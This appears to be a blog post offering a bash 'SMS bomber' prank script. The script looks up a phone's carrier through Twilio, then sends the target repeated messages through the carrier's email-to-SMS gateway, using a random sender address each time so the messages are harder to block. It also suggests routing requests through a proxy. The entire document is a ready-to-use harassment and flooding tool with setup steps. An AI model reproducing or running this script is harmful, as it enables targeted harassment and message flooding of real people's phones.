Flood an SMS Number

Flood a 9 digit number with as many messages as you please.
NOTE: For some unknown reason ATT receives each message from a new phone number even when using the same email like a Google account.

Enter the API key from twilio.
Make sure your domain is setup with Postfix or another smtp server. A Google SMTP server could be used as well.
Specify the domain by editing the script.
apt-get install sendemail.
chmod +x smsprank.sh
Change the second number in the if function to change the number of messages sent.

What It Does

First finds the carrier of the number
Then enter the numbers email and the message.
Takes a random number from 1000-9999 and sends a new message to the phone from that address.
ex. 4632@example.com, 6346@example.com, 9868@example.com

clear # Clear the screen.

echo -e “\E[1;33m::::: \e[97mE-MAIL SMS BOMBER \E[1;33m:::::\e[31m”

read -p ‘Find provider SMS E-Mail, Enter the 10 digit number: ‘ uservar1

curl -XGET “https://lookups.twilio.com/v1/PhoneNumbers/”$uservar1″?Type=carrier&Type=caller-name” -u “APIKEYHERE” #Query provider sms email

#read -p “http://freecarrierlookup.com/ http://www.emailtextmessages.com/”

echo -e “\n\nAT&T – phonenumber@txt.att.net, T-Mobile – phonenumber@tmomail.net, Verizon – phonenumber@vtext.com, Sprint PCS – phonenumber@messaging.sprintpcs.com, Virgin Mobile – phonenumber@vmobl.com”

#use proxy example curl –proxy socks5h://

echo -e “\E[1;33m::::: \e[97mLets setup email parameters \E[1;33m:::::\e[31m”

read -p ‘Message To? ex. 5555551111@vtext.com : ‘ uservar2 #Target sms email

read -p ‘Enter the message you would like to send : ‘ uservar4

echo -e “\E[1;33m::::: \e[97mBombs away PEW PEW PEW \E[1;33m:::::\e[31m”

for n in {1..15}; do sendemail -f $((1000 + RANDOM % 9999))@example.com -t $uservar2 -m $uservar4; done


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